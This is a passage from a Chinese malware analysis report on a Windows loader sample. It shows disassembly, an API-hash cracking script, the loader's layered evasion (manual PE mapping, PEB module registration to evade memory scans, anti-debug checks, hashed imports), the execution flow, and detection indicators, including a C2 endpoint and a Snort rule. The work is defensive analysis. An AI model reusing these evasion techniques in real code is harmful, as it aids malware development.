404302: mov ecx,DWORD PTR [rbp-0x34]
404305: mov DWORD PTR [rax],ecx ; mod->SizeOfImage
404314: movabs rax,0xffffffffffffffff
40432b: call r11 ; FlushInstructionCache
40432e: mov eax,DWORD PTR [rbp-0x3c]
404331: mov rcx,QWORD PTR [rbp-0x30]
404335: add rcx,rax
404338: mov rax,rcx ; 返回 EntryPoint
映射后的映像被完整挂入 PEB 的 InLoadOrderModuleList,填充 DllBase / EntryPoint / SizeOfImage 字段,并调用 FlushInstructionCache 刷新指令缓存。这一系列操作使内存中的载荷在进程视角下表现为合法加载的模块,从而规避基于内存扫描的检测。
十、外层 API 哈希解析
外层的全部导入同样通过哈希动态解析,无明文。本节先还原解析器算法,再据此破解出完整的 API 清单。
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4014b1 --stop-address=0x4015af sample.exe
00000000004014b1 <.text+0x4b1>:
4014b1: push rbp
4014b2: mov rbp,rsp
4014b5: sub rsp,0x60
4014bc: mov QWORD PTR [rbp+0x10],rcx
4014c0: call 0x401493
4014c5: mov QWORD PTR [rbp-0x8],rax
4014c9: mov rax,QWORD PTR [rbp-0x8]
4014cd: add rax,0x18
4014d1: mov rcx,QWORD PTR [rax]
4014d4: mov QWORD PTR [rbp-0x10],rcx
4014d8: mov rax,QWORD PTR [rbp-0x10]
4014dc: add rax,0x10
4014e0: mov QWORD PTR [rbp-0x18],rax
4014e4: mov rax,QWORD PTR [rbp-0x18]
4014e8: mov rcx,QWORD PTR [rax]
4014eb: mov QWORD PTR [rbp-0x20],rcx
4014ef: mov rax,QWORD PTR [rbp-0x20]
4014f3: cmp rax,0x0
4014f7: je 0x4015a3
4014fd: mov rax,QWORD PTR [rbp-0x20]
401501: mov rcx,QWORD PTR [rbp-0x18]
401505: cmp rax,rcx
401508: je 0x4015a3
40150e: mov rax,QWORD PTR [rbp-0x20]
401512: mov QWORD PTR [rbp-0x28],rax
401516: mov rax,QWORD PTR [rbp-0x28]
40151a: add rax,0x58
40151e: movzx ecx,WORD PTR [rax] ; BaseDllName.Length
401525: mov rax,QWORD PTR [rbp-0x28]
401529: add rax,0x60
40152d: mov rcx,QWORD PTR [rax] ; BaseDllName.Buffer
40154f: movzx eax,WORD PTR [rbp-0x2a]
401553: mov ecx,0x2
401558: cdq
401559: idiv ecx ; Length / 2 -> 宽字符数
40156b: call 0x4013e9 ; FNV-1a UTF-16
401570: mov ecx,DWORD PTR [rbp+0x10]
401573: cmp eax,ecx ; 与目标比对
401575: jne 0x401593
40157f: add rax,0x30
40158b: mov rax,QWORD PTR [rax] ; DllBase
逻辑:
PEB = gs:[0x60]
Ldr = PEB->Ldr (+0x18)
head = &Ldr->InLoadOrderModuleList (+0x10)
for (m = head->Flink; m != head && m != 0; m = m->Flink):
len = m->BaseDllName.Length (+0x58)
ptr = m->BaseDllName.Buffer (+0x60)
if FNV1a32_UTF16_upper(ptr, len/2) == hash:
return m->DllBase (+0x30)
哈希函数 0x4013e9(UTF-16、强制大写折叠,种子 0x3AEF41AC):
401472: mov eax,DWORD PTR [rbp-0x4]
401475: movzx ecx,BYTE PTR [rbp-0x9]
401479: xor eax,ecx
40147b: mov DWORD PTR [rbp-0x4],eax
401481: mov ecx,0x1000193
401486: imul eax,ecx
即 h = (h ^ byte) * 0x1000193 —— 标准 FNV-1a-32。
10.1 哈希表与破解结果
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
hs={va:struct.unpack_from('<I',d,o(va))[0] for va in range(0x406004,0x40604c,4)}
h=0x3aef41ac
def f(s,fold=True):
x=h
for c in s.encode():
if fold and 0x61<=c<=0x7a: c-=0x20
x=((x^c)*0x1000193)&0xffffffff
return x
dlls=['kernel32.dll','ntdll.dll','kernelbase.dll','user32.dll','ws2_32.dll','advapi32.dll','msvcrt.dll']
apis=['LoadLibraryA','GetProcAddress','VirtualAlloc','VirtualProtect','VirtualFree','CreateFileW',
'ReadFile','CloseHandle','GetFileSize','ExitProcess','NtQueryInformationProcess','NtSetInformationThread',
'FlushInstructionCache','RtlAddFunctionTable','CreateThread','WaitForSingleObject','Sleep','GetTickCount']
names=dlls+apis
found={}
for n in names:
for fold in (True,False):
v=f(n,fold)
if v in hs and v not in found: found[v]=f'{n}'
for va,v in hs.items():
print(f' {va:#08x} {v:#010x} {found.get(v,\"???\")}')
"
0x406004 0x59978816 kernel32.dll
0x406008 0x4b0ba06c ntdll.dll
0x40600c 0x5ccff1f6 kernelbase.dll
0x406010 0x66bae27e LoadLibraryA
0x406014 0x35554700 GetProcAddress
0x406018 0x1daceb74 VirtualAlloc
0x40601c 0x08f95bee VirtualProtect
0x406020 0x9d11d93d VirtualFree
0x406024 0xfe92b18c FlushInstructionCache
0x406028 0x5f6cd8bb CreateFileW
0x40602c 0x46e5d0f6 ReadFile
0x406030 0x3814bfb6 CloseHandle
0x406034 0x481a692f GetFileSize
0x406038 0x81144f71 ExitProcess
0x40603c 0x99175541 NtQueryInformationProcess
0x406040 0xabf16880 NtSetInformationThread
0x406044 0xcba64107 RtlAddFunctionTable
0x406048 0xbebec532 (非标准 API 名,异常表配套函数)
这一能力清单与外层行为完全吻合:读自身文件 → 分配 RWX → 映射执行,全程无网络 API。
10.2 完整防御绕过路径
综合以上设计,样本构建了多层递进的防护。分析者若要完成逆向,需要依次突破:
| 层 | 防护机制 | 突破方法 |
|---|---|---|
| 1 | 无明文字符串 | 识别立即数拆分模式,批量配对还原 |
| 2 | 控制流平坦化 | 重建状态转移图 |
| 3 | 反调试检查 | 在检查点修改标志位(不可改 .text) |
| 4 | API 名哈希化 | 还原哈希算法或依调用约定判定 |
| 5 | 密钥依赖 .text 哈希 | 保持 .text 原样,从磁盘读原始字节 |
| 6 | 双层加密 | 逐层识别:AES-256-CBC → 自实现密钥流 |
| 7 | 载荷无磁盘痕迹 | 从内存 dump 或直接从文件解出 |
本报告采取的路径是绕过动态分析环节(第 3 层),直接以静态方式完成第 1、2、4、5、6 层,最终在文件中解出载荷(第 7 层)。这条路径不触碰 .text,因此不会触发密钥失效。
十一、完整执行流程
11.1 外层装载链
| 阶段 | 地址 | 操作 |
|---|---|---|
| 反调试 | 0x402AA1 | BeingDebugged / NtGlobalFlag & 0x70 |
| API 解析 | 0x4014B1 | PEB 遍历 + FNV-1a-32 哈希匹配 |
| 取自身基址 | 0x40433D | PEB->Ldr->InMemoryOrderModuleList |
| 读自身文件 | 0x4049B2 | CreateFileW + GetFileSize + ReadFile |
| 分配 RWX | 0x404A93 | VirtualAlloc(size+0x10, RWX) |
| 节区哈希 | 0x402BF8 | FNV-1a-32(.text) = 0xF128F979 |
| 密钥派生 | 0x402DBB | 双表 XOR + 种子扩展 → 32 字节 |
| 分段组装 | 0x404D4C | 4 × (偏移, 长度) → 0x1220 字节 |
| AES 解密 | 0x4026EE | AES-256-CBC, IV @ 0x4060A0 |
| 密钥流 | 0x402955 | state=(state*0x83+tab[i%32]+0x11) |
| 完整性校验 | 0x404EE8 | 0xD00DFEED + FNV-1a-64 |
| 手工映射 | 0x4035CE | VirtualAlloc + 节区拷贝 + 重定位 |
| PEB 注册 | 0x404285 | InLoadOrderModuleList 挂载 |
| 跳转执行 | 0x40432B | FlushInstructionCache → EntryPoint |
控制权随后移交内嵌载荷:
| 阶段 | 地址 | 操作 |
|---|---|---|
| 载荷入口 | 0x140001008 | 手工映射后直接调用 |
| 字符串解密 | — | XOR 0x99 散点修复 |
| API 解析 | 0x1400145C | ROR13(函数名) + ROR13(模块名) 求和比对 |
| 目标构建 | 0x140012DC | sockaddr_in = AF_INET / 0x7EA9 |
| WSAStartup | 0x14001257 | 初始化 Winsock 2.2 |
| socket | 0x14001281 | AF_INET / SOCK_STREAM / IPPROTO_TCP |
| connect | 0x14001321 | → 177.3.88.123:32425/tcp |
| send × 10 | 0x1400132E | w64 log.177.3.88.123 |
| closesocket | 0x140012F3 | 关闭连接 |
11.2 异常分支
| 位置 | 判定条件 | 行为 |
|---|---|---|
0x404EE8 | 魔数非 0xD00DFEED 或 FNV-1a-64 不符 | 静默退出,不进入映射阶段 |
0x140012A9 | WSAStartup 返回码非零 | 直接关闭套接字,不再尝试连接 |
0x14001321 | connect 失败 | 关闭套接字并返回 |
十二、检测与处置指标
12.1 主机侧指标
- 进程对自身可执行文件调用
CreateFileW+GetFileSize+ReadFile - 同一进程随后出现
PAGE_EXECUTE_READWRITE的VirtualAlloc(0x3000/0x4) PEB.InLoadOrderModuleList中出现无文件背书的模块条目(DllBase指向匿名 RWX 内存)- 对
PEB+0x02与PEB+0xBC的读取(反调试探测特征)
12.2 网络侧指标
alert tcp $HOME_NET any -> 177.3.88.123 32425 (
msg:"可疑信标 w64/log 记录外发";
content:"|77 36 34 20 6c 6f 67 2e|"; depth:8;
content:"177.3.88.123"; distance:0;
sid:1000001; rev:1;)
外发载荷首 8 字节固定为 w64 log.,随后紧跟目标 IP 的 ASCII 表示,特征稳定,误报率低。
12.3 静态检测特征
| 特征 | 说明 |
|---|---|
AES 正逆双 S-box 并存于 .data | 0x406120 / 0x406220,各 256 字节 |
0x1000193 常量反复出现 | FNV-1a 素数 |
0x1256789134ABCDEF 常量 | FNV-1a-64 初始值 |
.data 中的 (偏移, 长度) 双表 | 长度为 16 的倍数之和 |
.text 节区 FNV 自哈希 | 密钥派生依赖自身代码 |
导入表缺失网络 API 但存在 VirtualAlloc + ReadFile | 内存加载器特征 |
0xD00DFEED 容器头 | 特征魔数 |
12.4 处置优先级
- 阻断
177.3.88.123与 TCP/32425 —— 阻断 C2 通信,成本最低、收益最直接。 - 排查"进程读取自身并分配 RWX"的告警 —— 命中即视为已失陷主机。
- 对同时具备 AES 双 S-box 与 FNV 素数常量且无网络导入的 PE 提高检出权重 —— 该组合是此家族的高置信特征。
12.5 分析注意事项
样本的 AES 密钥由 .text 节区哈希派生,因此任何对 .text 的静态修改(下断点、打补丁、加特征字节)都会导致密钥改变,进而使载荷校验失败、样本静默退出。调试该样本时若观察到"程序无任何动作",通常并非样本失效,而是完整性闸门被触发。
附录:关键常量汇总
| 项目 | 值 | 来源 |
|---|---|---|
| FNV-1a-32 种子 | 0x3AEF41AC | [0x406000] |
| FNV-1a-32 素数 | 0x1000193 | 内联常量 |
.text 节区哈希 | 0xF128F979 | 0x402BF8 计算 |
| AES-256 密钥 | FCB7AB383D924F4F0F8BC5367BE830FDD2DF45A5DC55927DF4289D9F45B2CA61 | 0x402DBB 派生 |
| AES IV | 69AC86B4B54C8AF773B9D4818802A1ED | [0x4060A0] |
| 密钥流表 | BCF58C5501CB07F4F05FD5E4D6EAD03B54C2D143EA7B930717A851D59928C103 | [0x4060B0] |
| 密钥流种子 | 0x98 | [0x4060D0] |
| 分段偏移 | 0x535C 0x6385 0x525C 0x64E7 | [0x4060D8] 组 |
| 分段长度 | 0x0FF5 0x0108 0x00A9 0x007A | [0x4060F8] 组 |
| 密文总长 | 0x1220 | 长度和 |
| 容器魔数 | 0xD00DFEED | 明文头部 |
| FNV-1a-64 初始值 | 0x1256789134ABCDEF | 内联常量 |
| FNV-1a-64 素数 | 0x100000001B3 | 内联常量 |
| 载荷校验和 | 0x3FD05F7EB9E31E07 | 载荷头部 |
| 载荷大小 | 0x1200(4608 字节) | 载荷头部 |
| C2 端点 | 177.3.88.123:32425/tcp | 0x140012DC |
| 载荷 SHA256 | 5a07ab723bfbfe09ddd8e82255d4699ca390abdf0b7545ee907b09bdc7bd54af | 提取结果 |